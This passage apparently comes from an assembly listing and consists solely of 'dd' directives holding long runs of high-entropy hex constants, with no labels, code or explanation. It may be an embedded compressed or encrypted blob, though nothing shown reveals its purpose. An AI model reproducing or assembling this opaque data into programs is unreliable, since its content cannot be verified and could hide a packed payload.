208BFE2Ah, 10244030h, 0F02FE8C3h, 0CCEE3A16h dd 2A58B8FBh, 3D0F7DFh, 5FE27523h, 182AE821h, 4012A8C3h dd 3812A0EDh, 6C98440Fh, 51897858h, 0C3EC10F5h, 700B0AD6h dd 11A494A7h, 0D9AE0F80h, 0ABA20525h, 2218881Eh, 8994A020h dd 73B1E324h, 3D119396h, 0AAF24406h, 0D2D55031h, 3618A1A3h dd 7C2820A2h, 328E3E4Bh, 503511E6h, 16189B50h, 8093DA80h dd 0F7607EEBh, 64DCC7B8h, 0BB692A7Ah, 0DA8C08DCh, 0E1007695h dd 0E602E460h, 7A84A856h, 719A2470h, 0B58D039Ch, 51B9B33Fh dd 0E4CC20BCh, 8955B1C0h, 5D82A8h, 0AD6978FBh, 0EACADF70h dd 87D19304h, 0ECC4C1FCh, 1A84B081h, 825AF407h, 0F4A353B8h dd 0D690A0D8h, 39020E5Dh, 4498AC30h, 4F184059h, 60F78020h dd 95961C12h, 0CD515000h, 98ECE93h, 22A1DBB3h, 1D58CCAAh dd 6205200Ch, 0F5DF03B5h, 0D143F841h, 7C306C77h, 0CE6B00C6h dd 0AB9B3F04h, 55600E59h, 74F88F18h, 11C9089h, 0EAC3CEACh dd 9159D283h, 7D1220B0h, 145052FAh, 0D8334C8h, 35C18690h dd 0C20412Eh, 17A098AAh, 92662B31h, 0CFCB0114h, 4713F5F3h dd 3F5826D6h, 6653000Dh, 38D4BDDh, 2EC8A80Ch, 800B7AB9h dd 0F8A8D217h, 0B49803F5h, 0BF01C818h, 76CB05F8h, 0ECC13ECEh dd 461AE9Ch, 83E102F0h, 813E832Ch, 0B2414A5h, 0B5317CC8h dd 4A13195Fh, 43083AC7h, 80B9EEB4h, 0DF3D0C0h, 0E11208A0h dd 0C87AACA8h, 0A337EE16h, 34935C00h, 77AE38A4h, 0A18E37CDh dd 20AC83A9h, 0E064C9C4h, 0DF047DBh, 94B908A1h, 2018B220h dd 4C3450DFh, 0C0A40147h, 31831D7Ch, 119EF8EAh, 0B0FADF12h dd 0B73E6003h, 238AD094h, 0CE7D15C0h, 0CB30D83Ch, 1C9B0838h dd 0C45000B0h, 7D05400Ch, 0A6B4FC4Bh, 0EA52F081h, 32106C20h dd 9E184D28h, 2427E049h, 0BC99EBB8h, 1A581D05h, 6FA12181h dd 0A323989h, 508D420h, 5671E893h, 9B8F720Ah, 6E165C14h dd 0A4E71408h, 14111E67h, 7E3208C0h, 386B0F20h, 1019ACC3h dd 84212490h, 5D116402h, 80FDC601h, 27A4C10h, 16D74881h dd 0AFA93A0h, 80A4783Ch, 559FF1F4h, 9B0E149Ah, 546282A1h dd 60AA00A0h, 228F88Ch, 17A49858h, 45578FD0h, 0C4070114h dd 0FB9800C3h, 0A4DB88DCh, 0DD0F64B1h, 6078058Ah, 0EC844Fh dd 1817AB07h, 16CE059h, 78A49EF6h, 20C7F865h, 8BA329AAh dd 0B6BF3AA0h, 36ABA012h, 48156500h, 9866E4h, 74E8B47Eh dd 0C49A375Dh, 83A4260Eh, 0FCAFA067h, 0B81DC67Bh, 375207D4h dd 0C0C3D289h, 10C96771h, 0E1972C18h, 3C14411h, 32B35CE8h dd 407C75A3h, 24B2EA00h, 0EDA7F2FFh, 760A0066h, 0F85B5E25h dd 5F1F274Ah, 6001C380h, 624523C5h, 86AC3880h, 5ECD29C6h dd 8011C8h, 0B6557543h, 9C600BF2h, 0D0770E60h, 60F0FE4Fh dd 22C488A9h, 2E1FA508h, 4503F199h, 35604A7h, 6CB35291h dd 4100C39Bh, 0F0B622E7h, 30C94466h, 5C285DE8h, 2D007265h dd 0A3FE9B87h, 76DAFCh, 4AAB097Ch, 38B83F5h, 0A67AA407h dd 784D6870h, 4AA54140h, 1E89DEA8h, 0EE1E0091h, 655574E7h dd 128DEA00h, 1D777825h, 0A5A30030h, 0F1DCE8F2h, 9D002CB4h dd 0ED02795Ah, 620A213h, 0CEEFE62Fh, 0A928E866h, 30809C65h dd 5A03A64Ah, 19ED9821h, 23110AF0h, 2638EB5Eh, 0C0210022h dd 0F22D5CE9h, 2A115914h, 0D288071Ch, 0CC0CDAFh, 0E9E8B5FBh dd 86ACA84Ch, 0CD88D102h, 9E70D584h, 2A07028Ch, 0CE9DB327h dd 0D265E891h, 86675230h, 58104D51h, 15247250h, 7A894499h dd 0F26001DBh, 0D8409D7Bh, 1B375C16h, 2025A7C7h, 0E88C5105h dd 804029DDh, 555DD9DEh, 4230912Ah, 5C04612Dh, 9E12C3h dd 77DB2571h, 4A84A3FDh, 0EDE69200h, 9BFFF996h, 2342A70h dd 0E39CAEB0h, 0C0E23DE6h, 0A8844B3Fh, 1B9CFB2Bh, 51CBAB97h dd 1D78D690h, 0EB2FEE09h, 0BC1408DDh, 0A688440h, 117E60C8h dd 0DE5796F1h, 2AF1A24Ch, 8203F8B5h, 5546090Bh, 2270054Eh dd 0F7F43CFh, 3092D2A4h dd 8A337844h, 8184B750h, 0D1801414h, 0DE067874h, 0AB7CCD78h dd 22060220h, 2C84E9B8h, 0C85508E0h, 100FDB1Dh, 0D065B03Dh dd 66F053FBh, 49C558C7h, 0B930FC78h, 11D4B05Fh, 87AA005Dh dd 7E0B4960h, 1002577h, 0C34A8365h, 4810426Dh, 0F700A052h dd 0A5CFC4F0h, 7B248021h, 9D1B948Ah, 7FB2C359h, 63238410h dd 208B1B99h, 0A70F9BCAh, 8E21B6C6h, 3C248070h, 0ECA7026Dh dd 0C2E6A654h, 5092868h, 0AECDAD00h, 33800FF1h, 0C8B06E68h dd 6F2DBA3h, 0B1A2290Eh, 11A7CC72h, 0F1CA6288h, 0C4A2A623h dd 0D4A37F30h, 9918AAF2h, 5929BE88h, 4304122Bh, 70C0416Eh dd 492C81E1h, 0F7FDF49Ch, 0A3FCF100h, 4F8AC722h, 0F0541805h dd 0B2A6980Ah, 187280h, 376D70F9h, 23C42DEDh, 0FBCCE4Dh dd 6C797B5h, 3C116249h, 1121C6A9h, 0AC0A3812h, 491918B9h dd 1182C120h, 8456931Fh, 4D8EE884h, 66E1A8F0h, 0EA868C57h dd 9180F520h, 635D6B9Eh, 77542CC5h, 9300FB80h, 0A2A183A3h dd 49EDA5E5h, 527E9453h, 98489824h, 80544624h, 1FB41E44h dd 0B600EF63h, 598AC854h, 3B59405h, 6B8EFF23h, 489066CFh dd 41004D0Eh, 76C62D3Eh, 76D04F8h, 0DC838FF3h, 8451C443h dd 410C2084h, 0F5146069h, 0B0E927h, 973859DEh, 0F4E772C9h dd 1E430610h, 816486A5h, 0B0DF9826h, 0F5497401h, 1830BD76h dd 6A20B071h, 0F8C1A8h, 66BBD71Ch, 4F127476h, 4002E77Ah dd 6155621Bh, 54307845h, 4CDA7EE8h, 0CD0B6083h, 5C07F1B2h dd 0FF76A341h, 0F86E8AD0h, 0FEF6B609h, 4C8898Eh, 5C802F66h dd 18E8B2D2h, 40D1773Ah, 23265456h, 739E88Bh, 961F5712h dd 822478C1h, 2A441D4h, 614A5B19h, 0E040E8EFh, 0EE0B5E27h dd 306766C5h, 13B61DCh, 0B729EF74h, 35962CC6h, 0B9588454h dd 0FC009882h, 0A44073E0h, 0A53442F8h, 0BC8C187Ch, 94D01DAh dd 0F1272EB0h, 4488407Ah, 1650146Eh, 2C7037E8h, 65FBB200h dd 83EA8453h, 0DF9C00F0h, 0CE5CD192h, 4728A512h, 5503B8BAh dd 0B1FA271Ch, 164808B8h, 2403174Dh, 26B20AF7h, 404CEA18h dd 12F62B5Ah, 9EB4FB15h, 201C3E84h, 0DA163D27h, 3F649873h dd 3EFD9BF2h, 4906C1A1h, 0F8B866EFh, 1710B443h, 5DF7827Dh dd 79012226h, 66A0401Ch, 2CC5EE22h, 0EC873FBh, 0DE652637h dd 3A7C2B79h, 4612FC22h, 8027E29h, 407716AFh, 90D6CB40h dd 371005Ch, 123D5FF3h, 13263183h, 0D20120AEh, 0A0BDD62Ah dd 0EB14B880h, 0E8A44C69h, 7DE28001h, 879B12EDh, 5C53C30h dd 38CFB973h, 5F20401Bh, 0DD4FC3CAh, 2B2D8A00h, 77D47923h dd 842700FFh, 0E3072E7Ch, 53005F44h, 0C405A4DBh, 380BFBACh dd 0F100D20Ah, 66714CAAh, 0BA00803Ah, 0A7E5B040h, 20C9DAh dd 60186C82h, 0D198489Bh, 0A16FC002h, 0C0D0C723h, 1EF45Fh dd 4D2F7BC1h, 5BA66AB4h, 142B671Eh, 0AEB2FEC0h, 0F81EB0EFh dd 0DD5C0004h, 197ECAF0h, 37B9140h, 60B5700h, 89219925h dd 0D52F00CDh, 0C808F50Fh, 5E16F7E3h, 0DA0610B3h, 0E8819B2h dd 1751DEFBh, 1AB882E0h, 4A00F73Eh, 12882745h, 3DBBCDh dd 739524AAh, 71C991DFh, 0A52A9C03h, 0B877444Eh, 0DA8D5Ah dd 0B2F2E42Dh, 0E16609B0h, 288E7F00h, 256A4441h, 1227FCBh dd 0D9D4EC48h, 0E415F637h, 0DC00AE99h, 0CB14A0FDh, 77EB5Bh dd 0EFF2E6C7h, 0B63E4D1Bh, 0BF86CC00h, 39274FBh, 5E7C0033h dd 624FBA58h, 7D00D196h, 665BBD04h, 0C1081h, 6479148Ch dd 0A65A4BD3h, 5FF9C00h, 0C458EAABh, 0ADC100A0h, 0FDDE0194h dd 0B4600DCBh, 53F94570h, 217100E2h, 0A11FC64Ch, 0B31EA8DAh dd 9440D5DCh, 547ACE62h, 7430095h, 44CF411Eh, 120F45D8h dd 677D1A21h, 0C15404F6h, 0B4294DC0h, 0C2AA00E3h, 0F9E00FACh dd 0E1F08BB9h, 71DC439h, 7BE45B01h, 54F38070h, 34B60078h dd 81D31FD6h, 360016F5h, 9BC54915h, 75530E71h, 57300010h dd 0B264B8F0h, 0D200198Fh, 0FE9A687Ch, 424E62h, 0A72ED0C8h dd 1525B996h, 0E6518800h, 0BD408207h, 0EAE07FE5h, 328E2E3Ah dd 1E0D0098h, 1203EA6Dh, 13017400h, 0F2C56052h, 0D750017Fh dd 79AD2283h, 43B7D877h, 5B37347Fh, 486CAA78h, 0E7D80138h dd 54FB8F47h, 0FCE9C98Ch, 0AF001D0Bh, 392887CFh, 60EA080Ah dd 164C080Dh, 2900588Ch, 83C05EDDh, 0A75DFFh, 0B3FBDC8Ah dd 979D74F0h, 0DB100500h, 454804E0h, 0EC77008Bh, 0EB6384FDh dd 5350DEE7h, 147251B8h, 5E7F6901h, 932D8E41h, 0C41DF07Ah dd 0EDBAC30Ah, 194B0C1h, 8E020144h, 68989390h, 0C18106D3h dd 8854DE9Ch, 241D4930h, 0DC21A0h, 1EFEEBD4h, 87B6716h dd 0C3F5D900h, 860E70A7h, 40210010h, 9F06B4ACh, 1074973h dd 0DDD30F71h, 0E00BC120h, 51023CBDh, 86568700h, 70903955h dd 8D65F600h, 68CF216Ah, 0F271761h, 8CD1003Fh, 3EE23436h dd 0E0CFE48h, 0A2D63A5Dh, 0E682D8h, 33C9EE77h, 0EA3FCA0Eh dd 45C1A086h, 8B1C47h, 0D110447Eh, 3215DA11h, 0FFACFCF3h dd 0AF00CFF4h, 69178291h, 3A21CE83h, 63141B24h, 900FAD11h dd 0A8600A56h, 62F85ECBh, 95272500h, 413A7468h, 0C5E4E9h dd 1FBC8E01h, 24B17FECh, 5F00B0E8h, 79D90AC1h, 9884715Bh dd 0E5271871h, 107FC0F7h, 0A552090Ah, 0B3809882h, 8F398949h dd 0BA2900BEh, 31A49D20h, 46707793h, 0D23B900h, 7BF834ACh dd 0DE86004Eh, 545FA097h, 9800884Dh, 747851Dh, 4E03ADh dd 1E5E26E3h, 875D6E19h, 5C6E200h, 7ED36328h, 4E3B006Ah dd 0F2949A0Ah, 0AFE422B5h, 455EA300h, 0D6644AE8h, 3A550B95h dd 8E830593h, 8CA8FDA6h, 9E006F71h, 0D5C76DFBh, 97798Ah dd 0F654D3FCh, 1A4285A3h, 0EEFB5800h, 6F86FD41h, 0FC3E76BEh dd 5CA10082h, 7643D926h, 0D700AFCCh, 0E6639313h, 703E8Dh dd 1C4C5E77h, 0C3E89266h, 589C6900h, 0EC64AE9h, 43180004h dd 0A89A7B77h, 0D6000BE1h, 115CA59Fh, 36EA328h, 0FE3686E2h dd 0C1A707CCh, 42A02719h, 286861F1h, 0DF0002D2h, 0CA4206C8h dd 0E33160h, 702DBDCBh, 0C5A20B89h, 90D9B400h, 2CDB9708h dd 0F842013Fh, 0E5AB80C2h, 128D42Bh, 737A7000h, 8169E78Bh dd 95D058Dh, 8086E354h, 0DA9C7EBCh, 76984A72h, 7500EAE4h dd 684D6D64h, 0EE266CCAh, 1A760004h, 0B2A988EDh, 0BE00145Ch dd 2A49D30Bh, 1C3EE54Dh, 0BC18289Eh, 9CE94383h, 0E087164Eh dd 0DC27EF13h, 4C6D4200h, 87DAC79Dh, 7B71C2h, 0E0AA035Bh dd 0A31F8986h, 0A2DD3400h, 21FE9FDEh, 0F37F3B75h, 0AB39C080h dd 0EC26158Eh, 0F05F7300h, 27A18B1Ah, 0EABF3B2Dh, 1366000h dd 0B033AF62h, 7735220Fh, 0D77180C8h, 72DADF6h, 0ED8FB76Fh dd 94A09ECFh, 0D450A770h, 18B45131h, 7E304D7Ah, 787860DEh dd 0BCAA3C46h, 53E09D00h, 1B41A497h, 0C0F600C3h, 0F2297236h dd 1C92846Eh, 19B80E09h, 914C001Bh, 0EF9B44h, 0CD66892Eh dd 69979563h, 56776F03h, 206E4Ah, 0E222A728h, 0A826AD9Eh dd 0DA06167Ch, 215DC7B7h, 6DCA0320h, 13A9C577h, 59551000h dd 0DED9E04h, 2DD000Fh, 243EB42Fh, 7700C511h, 0FBE769ADh dd 732A1F0h, 0B99CE8F9h, 1D39EAFh, 15E1731Dh, 64EAEC7Ch dd 9F07A9F6h, 9302ACA0h, 0C9602447h, 3912C58Bh, 72002FFEh dd 0DD011D53h, 9C00C0F5h, 280E0AFAh, 0FC8C2A0Fh, 71F200B6h dd 1517998Dh, 4C00CDA4h, 1B5ECA04h, 1884065h, 80B2EF4Fh dd 5075C04Dh, 12238EA8h dd 0ACB6AB28h, 98DB580Eh, 0B1E42205h, 3EE4A009h, 7848ABh dd 0F235FC0Fh, 6693242Dh, 8744EC0Eh, 0C450C0BCh, 16D5DD33h dd 1F8F087Eh, 1D428082h, 0D4384B73h, 2A360500h, 4921064Ch dd 25D902FFh, 9743F2C4h, 9DAA1CC0h, 7C1CE800h, 7A260B40h dd 510005Eh, 38E9492Eh, 240488ACh, 0BBECFAC2h, 0CCE10D80h dd 0DCEA0E91h, 646085E7h, 0F0973D18h, 98792400h, 70934D0Eh dd 0B3AB0041h, 4E3C2935h, 0DE45FA9h, 5026DC12h, 3DD0EC40h dd 0C008CFDFh, 0C0AD3CF1h, 3300E298h, 62997973h, 8C7548h dd 65745764h, 7170636Eh, 9C6C6A39h, 7A456D68h, 0C0C607Bh dd 3B6B06B6h, 92DC7366h, 0F1914E00h, 0DAE4F354h, 2932AC7Fh dd 45C10FEh, 0DF7C214Dh, 1EF212E0h, 83CE7944h, 7AB1D5DAh dd 4202B11Ch, 8014F0CFh, 0FAEB71C7h, 0F60603B3h, 0FB754DE5h dd 34F881E7h, 0FA1864F9h, 8A474800h, 0D4713970h, 608C00CFh dd 0F634CAA6h, 6B011116h, 9B2328A7h, 7880E6B0h, 34F43876h dd 8B014E0Fh, 3B812280h, 28C80857h, 0EE3E0756h, 30F9191Ch dd 804A6455h, 34037BF6h, 936A79C8h, 0C0B1004Dh, 9A104CC9h dd 56037B7Eh, 934EF6CAh, 21764Bh, 0A1759BBAh, 1EF8CEA8h dd 79A4E100h, 5E5D8B7Fh, 48C51EA3h, 47784998h, 823F08A0h dd 6E070ACDh, 0B35DC2Dh, 873C805Eh, 3FCC25Fh, 0A8AB7FD5h dd 4CE00A5Eh, 89062BE8h, 5C481EC0h, 5A1B2E78h, 40631F3Ah dd 0AE3D8EF8h, 0C1F24712h, 9BBDB20Ch, 7C860F7h, 7130703Bh dd 76C630FAh, 0D43AAEB7h, 8067FC72h, 0D599B491h, 0A3B08400h dd 9030A696h, 338E146h, 3CBF774Ch, 3680D0ACh, 927AFD6Eh dd 0C0002D56h, 0D9D3F4A7h, 0E2CB9A31h, 12E33F45h, 0ACF60078h dd 0E9C51A4Fh, 0F0F14C8Bh, 0B4000F4Eh, 18EE5985h, 0E2439ED3h dd 605E0046h, 64EDE997h, 4E0C1373h, 2884BF50h, 81DC1D6Ch dd 5A708243h, 8DC00B26h, 15014240h, 0DA3E28A1h, 8AE8A0CEh dd 6AD5005Dh, 0B2259F19h, 0FFEC77E5h, 0F4EFA600h, 87687D3Dh dd 0BF113CA8h, 6D3E2680h, 0E547D2B1h, 4D558100h, 46018D85h dd 1FFD00E2h, 5E86942Ch, 660004C2h, 1859E869h, 1DFE88C1h dd 85B00Ch, 840A022Ah, 4A16CD95h, 0D00E512Eh, 0A591C0E6h dd 0E38552h, 0AFE9E539h, 0B6D31EB7h, 0F819E705h, 94000F97h dd 0B33F2A0Ch, 3FB5F8EAh, 0C380071Ah, 0CFAAC12Dh, 0C03CA09h dd 8B4982E6h, 0A7C4D00Ah, 6A9000Bh, 0A1FA26C7h, 92006234h dd 0F77B2A5Eh, 76B127h, 978EA5B4h, 14FA227Ch, 0E0841A00h dd 24DA02D8h, 0C81004Bh, 5B2F6B64h, 600AC73h, 577CF2D2h dd 85FFEAh, 0B5A604A9h, 0FD5F0E59h, 2D1F1300h, 29CF0199h dd 1EDC00C7h, 8CCC0997h, 4A0563C6h, 4DE9769Bh, 0B50EF400h dd 4E9CDB5Ah, 0A0C9876Fh, 0DFC4B3F8h, 95A9390Eh, 0A0114F4Fh dd 88C3AA61h, 0E8C2076Ch, 566612h, 1E8A77BCh, 0C5C07A5Fh dd 0B8E9A94Fh, 4A23C8Eh, 1C748D80h, 0C4E2B1A6h, 0DCEE9301h dd 0B97EE975h, 607FD8h, 1B0EDF21h, 0C633081Fh, 6C0A9DF6h dd 0B427A0B2h, 59F19801h, 0B0804EB7h, 0F3BBED56h, 0FE00042Ah dd 0AA7DA1E9h, 7757CF4Ch, 0E45D00C5h, 69CE88D9h, 1001B0B2h dd 0BADE4035h, 40223331h, 0B1498600h, 5092D1A2h, 2B0ED6Bh dd 0B072957Bh, 71056F58h, 43F800E3h, 904F31CAh, 0FF1D062Ah dd 49C04C2Ch, 655FEAC4h, 0F479D2h, 0CFEC5D23h, 16A6D0DCh dd 0B203DFFCh, 0CD267552h, 0C011E02Eh, 213B00D3h, 1A4C6FC9h dd 472C8A18h, 3A1F6CE4h, 0C190F601h, 4880E901h, 45E37F99h dd 690007D1h, 15B49765h, 75E88Eh, 0BBF3817Ch, 23934404h dd 6B0099F8h, 74CCD4A2h, 30077E4Bh, 0A51ED2ADh, 760096EBh dd 9EFFBE78h, 805025h, 0AB6AE0D5h, 4997067Ch, 0AA23E00h dd 93056DDBh, 4C2B00E5h, 27A64056h, 5800F46Fh, 9D820646h dd 0A260DBh, 8DDDE71Dh, 5AF5C52Eh, 0E66B9C00h, 2D070CD7h dd 0FEA000E9h, 92C84EF3h, 0F816AAA7h, 1300FCD8h, 0FDDB7726h dd 4F171ED1h, 0D9490057h, 0C76A36E3h, 9D7DECE9h, 0A2541300h dd 0C3ED83Dh, 42C50004h, 0A90DD94Ah, 1A774076h, 0B3C2EC00h dd 6F09BD10h, 500F77A3h, 603FB11Dh, 2DBCE89Ch, 5F0032C3h dd 0F3CB041Fh, 742F876Eh, 2C4F0024h, 0A3237172h, 7D7788DEh dd 0D9E9B100h, 48DDF5CCh, 0A5243937h, 2876A319h, 0F400300Fh dd 68592E30h, 80B8B1C0h, 0E008015h, 0BA6E2F7h, 0EEA7F9h dd 0B2242769h, 12CC2A14h, 0C14E7707h, 3D4009F6h, 1855923Fh dd 19820FC3h, 867D4738h, 0F4A0B100h, 7694689Bh, 1E5E4ACh dd 0AA9AA78Dh, 0E8170324h, 0F7019247h, 8FF6C6B4h, 2AE8B541h dd 0F8041C6Fh, 0B980FCFEh, 6EF5610Ch, 3F0FD288h, 0EACFEB57h dd 9000E108h, 0CB53237Dh, 1CB6988Ah, 80BD7443h, 3CD59973h dd 0C7FC926Bh, 0C45A13Fh, 0E828A830h, 0E8773E4Ah, 0C0B5299Fh dd 7DD2FF84h, 0E2007232h, 0F0026C10h, 0B8A5E7h, 473AF97Ch dd 8412A291h, 0DFBFC500h, 9E35EB7h, 4EFE0036h, 8066F332h dd 9AB8CC20h, 7F768700h, 2D3435F2h, 57B00007h, 730E1354h dd 5C0071E5h, 17C309ADh, 0F99E86Bh, 3EFB33DAh, 5EFCC7A0h dd 4F001650h, 3B19E018h, 0F37965h, 0DEC620F5h, 0EA8DC52h dd 0FF366B0Eh, 168E209Ah, 2ECB2Bh, 0B3BA27C0h, 7DC642F5h dd 0D023C307h, 7F609D6Fh, 29A7C7h, 9F2A5DCBh, 1730A6E5h dd 3B78E300h, 0D410E1E7h, 9DDB00C6h, 27B84A51h, 0E000720Dh dd 0C7B916A1h, 7482F4D0h, 1DDDEACCh, 744C01h, 913D794Bh dd 5803BA5Ah, 7BDCE838h, 0A0E9E312h, 0C5486Bh, 57FD3BF8h dd 93E51813h, 60445C00h, 19C6573h, 6C0B3C96h, 0C7901B00h dd 0A8094BABh, 0D7676B00h, 40E828BAh, 2FEA0FF7h, 44051FCh dd 5FA5301Bh, 1FC36B00h, 1CB568B3h, 9E520157h, 34EDE28Eh dd 5971CC9Ah, 31002D73h, 0F4ADE9BAh, 7ACCFAh, 748213CBh dd 53899AC1h, 7733B00Bh, 2F8A8059h, 0E627D1AAh, 0DABB0E99h dd 88206BBDh, 913B33AFh, 803EE53Ah, 0AB4BAA86h, 7E0B03h dd 0CB690E42h, 0A95F4998h, 0BA14C373h, 0A444EFh, 0B7D5E125h dd 7373BFA7h, 0AB743847h, 8E131D77h, 4A0F80D3h, 34A897A6h dd 0A91C3298h, 0CE8D441h, 0BD18B274h, 5E08C2ACh, 0E5A100D6h dd 0A0697D7Ah, 4C24717Eh, 65806CE4h, 0E6CB45D3h, 0C2EB1D01h dd 15E7009Eh, 0C551F82Dh, 8600B67Ch, 3B4CD37h, 3D50DBCAh dd 795859ADh, 2C686102h, 0E7C081AEh, 0F300E998h, 1D0B5A3Bh dd 760190BEh, 0CB870078h, 0B1567A9Fh, 0EEEE1E7Ch, 1570F700h dd 45A76568h, 0F3B224DAh, 0FA00BF24h, 63377644h, 9D005F5Ah dd 7E6F80B3h, 390FD559h, 6503A5D7h, 0E586E2E6h, 0C61BC90Ah dd 0C783A045h, 0E32C5831h, 0C423A036h, 0DAE50089h, 0B5150DFAh dd 2F00DD20h, 8A35FE80h, 0E68944EEh, 0A3710002h, 600D12BFh dd 0AA5825D7h, 553005F8h, 4A83FB1Bh, 4FF6A8D0h, 0E82900ECh dd 8F28E0Dh, 0B00060A1h, 0DF1D871Ah, 6AA43B3Eh, 9D98B9h dd 0E7E51979h, 6E30C5FCh, 0BDC71890h, 0AE7B0040h, 4A5F788Ch dd 0A4316129h, 0CF16C032h, 67F920h, 0BC5DF74Fh, 507F6323h dd 0F308B90Fh, 603F8068h, 7CEDF443h, 635A3CE7h, 0F01B7172h dd 3962019Ch, 375E3C0Dh, 86AC50F4h, 0DFF0CDD6h, 89735600h dd 87029E70h, 77F0F1C4h, 80B36F61h, 772E8687h, 0E7CBC0C7h dd 0ACA84983h, 3807E933h, 2167F670h, 8F802ED4h, 74C3B82h dd 0BD9C9219h, 65A0CCC0h dd 4351CD0Fh, 3D0B437h, 0ECD6A7B8h, 587555h, 0FB1FB1A2h dd 9A86B514h, 6E88C16Eh, 0A95E800Dh, 7E1CC8Ch, 48340CB8h dd 417080ABh, 0DD0658CDh, 0F83CCF20h, 280D7CD8h, 58484D52h dd 4840263Ah, 0E32B20B5h, 10C510A0h, 0C325BA06h, 74E8C186h dd 84C446E2h, 2384D52h, 60347404h, 1D804FACh, 67F1CD9Ah dd 80ED6818h, 86FC3BAh, 50873924h, 0EAB9A680h, 7E813AC4h dd 0C6F0185Bh, 0C32FD675h, 2016F601h, 62978F61h, 3334F8h dd 0CC8E2BBCh, 9EF66F15h, 59C72603h, 0B09D6548h, 0D4A7E5h dd 47CEDFD1h, 0C0288264h, 6974FC00h, 594FA43Fh, 0AEAD0071h dd 0FA574451h, 0F300AF5Bh, 0E6A98546h, 0C0945647h, 0D51BC608h dd 9E0065F4h, 0CD3179AAh, 30EE43E4h, 0E8EC81FBh, 26007C48h dd 0C17F62DEh, 7457A94h, 0CE9D109Ah, 0D08EB069h, 9C34A72h dd 0B8128FA4h, 6CC042h, 0BC9A2EDFh, 72B6901h, 88ADA105h dd 0D8C8CB7Eh, 0F829001Eh, 0C8142B1h, 0E900BD2Bh, 0D647F73Fh dd 381CF6C7h, 9B00316Dh, 78FAF35Dh, 0D4A04FE7h, 7CA8830Eh dd 385C7631h, 80F53E2Ch, 0C4B08AADh, 0FAC49F6h, 1DE0886h dd 6295F982h, 8D4BF4A0h, 61009355h, 2AE1EDCCh, 12715396h dd 36E3160h, 0E4575E3Fh, 0E22D0803h, 0A075488Ah, 2CC4810Fh dd 5A3287h, 2DE946Dh, 20000943h, 0D439D71Ah, 541DB9Ch dd 0DABF4EDh, 0E6F091A6h, 8009807Ah, 0AF68A504h, 0E8B8005Fh dd 7B9CADF6h, 4A00BCB2h, 5D2DE3CDh, 0EA5B6922h, 0E8FF3E99h dd 897D791Eh, 6401C3EBh, 40764950h, 0F7CA452Ch, 0E4A25701h dd 1B9DEA1Dh, 1CB2C830h, 0C03FF86Bh, 50460693h, 19001F87h dd 0B658166Ah, 8CCB4Ah, 0FA6C1826h, 0E5E684B3h, 0CC0E2A00h dd 4D3FC88Fh, 0B6510016h, 301767Bh, 90002F22h, 0A5EBEF6Eh dd 19E3330Fh, 88340AA7h, 9EC0D3F7h, 0DA00B688h, 3F0E8C5Dh dd 15E3A1Ch, 54BC1A06h, 0CDDC1BC8h, 0E5E2DFA4h, 10CEE8A7h dd 5D6A88E3h, 117AB00h, 8E3CD3C4h, 0EB74F6h, 894C28F5h dd 6D69B010h, 7080E400h, 3A0B4DD1h, 3F7E7A51h, 0CF8048E3h dd 9F643FCCh, 830033AAh, 0F054FD99h, 0A1A4E201h, 32F437E2h dd 0C19000D9h, 0B6C958F8h, 680083ECh, 86A817D4h, 750ABDh dd 2282033h, 53C8CBB1h, 0F70E7800h, 4CDCFD8Dh, 4981095Ah dd 3060E597h, 0A700CF4Ah, 0B2D47CB0h, 0EFF7475h, 762C85F2h dd 9BC0E62Fh, 6D60ADBh, 23F90200h, 2C6789E4h, 2D174A6h dd 8B2E1582h, 71C02DF8h, 6B74E7FFh, 8A2B7700h, 51B69B03h dd 0BBBC0088h, 0D6E29C27h, 5C3F9E2Ah, 99C480B0h, 0DB771A50h dd 81430025h, 9118DF01h, 4D0960D0h, 0A08FABECh, 96CC3C3Ch dd 42783D30h, 6C02B281h, 80544D70h, 90D09828h, 7ACA26h dd 4C5C8753h, 0F5E68AD6h, 725AAC05h, 25C010BFh, 7811FFAh dd 79BC8F44h, 9ED7F0C1h, 0B600A8E3h, 2CDDF557h, 28D0832h dd 0F992E0A4h, 0C048E79Dh, 0AD52E853h, 0E37E80F8h, 1ECF1Fh dd 3F5C9FCh, 34F1AD60h, 0E77EF374h, 0F893CC00h, 0FBC82B44h dd 0A65D0088h, 0A75A7511h, 1800C612h, 0E5B92A40h, 61C30385h dd 0ECAA78E1h, 61C4014Fh, 6D68D8h, 28D8467Bh, 5E032C48h dd 0BE527A00h, 1643C1CCh, 51190062h, 33857FCBh, 8E097617h dd 80DAB75Bh, 0D924F4Ch, 981618F1h, 8CB62083h, 1DEA3D00h dd 139A345Dh, 0A0603A6Eh, 4104B00h, 97CB66DFh, 219B3B00h dd 7CC53E72h, 92E40062h, 46D21149h, 4C90E615h, 0D71FFF16h dd 12C3C15h, 90CB2620h, 829B95Bh, 1D408100h, 8E14F35Ah dd 0DA47A000h, 0D0C9370Eh, 6DA500C7h, 0BFDDDF4h, 77001E59h dd 82464EFAh, 74181ACDh, 511528D3h, 75EF01F8h, 6853F164h dd 0FB4BC823h, 4E7B9700h, 0FE9E3A08h, 0CD330E32h, 0BAA05F49h dd 87381B91h, 1960A90Ah, 7E01F47Dh, 2EC1E168h, 488051E1h dd 0B38B1E67h, 9D007769h, 3075CEBCh, 25C9F19Ah, 1490BB8Dh dd 330388A3h, 0D6200F87h, 0C8DB9BDCh, 79F943Bh, 22EB5210h dd 0EE91E0A9h, 800464Fh, 2A3E4A5Bh, 0B71C39h, 99F27256h dd 0D41932A6h, 0D6B059E2h, 336AB803h, 3A5121ABh, 2D00CED4h dd 6B992FE8h, 107C0770h, 0A0DD1C00h, 0D1D9C654h, 3A5061E0h dd 0F45E4ADAh, 497DF0BEh, 9F617400h, 90D48E9Ah, 4A2400F5h dd 63F25D44h, 0B700DA9Ch, 366E9EA4h, 7DE051FBh, 0CBAF009Dh dd 797E56C3h, 121FBFEFh, 13004887h, 0D99A3DE8h, 0DB800B7h dd 0BE5E17Ch, 1F00F976h, 9F7AB5D2h, 0F70DB7Eh, 0B45CA9BAh dd 9A1B080h, 7D001DECh, 0E1999057h, 9229080Dh, 7C50016Ch dd 51BFD1EDh, 2C40E153h, 553ABE24h, 23864486h, 0CF077149h dd 19C8EEECh, 4E9A29B0h, 0BB5D0184h, 99259063h, 76C7F31Eh dd 3EF0305Eh, 0F175800h, 56DFF84Bh, 2CDC09DBh, 0E448A1E2h dd 0A3040763h, 4301E6C1h, 0CAFE14D0h, 6428E3EEh, 68157A01h dd 0C0A41F1Bh, 0BE3832A0h, 0E2FD00DFh, 0E727C203h, 0CC9F01F6h dd 0A2CE6975h, 73584005h, 0E9000455h, 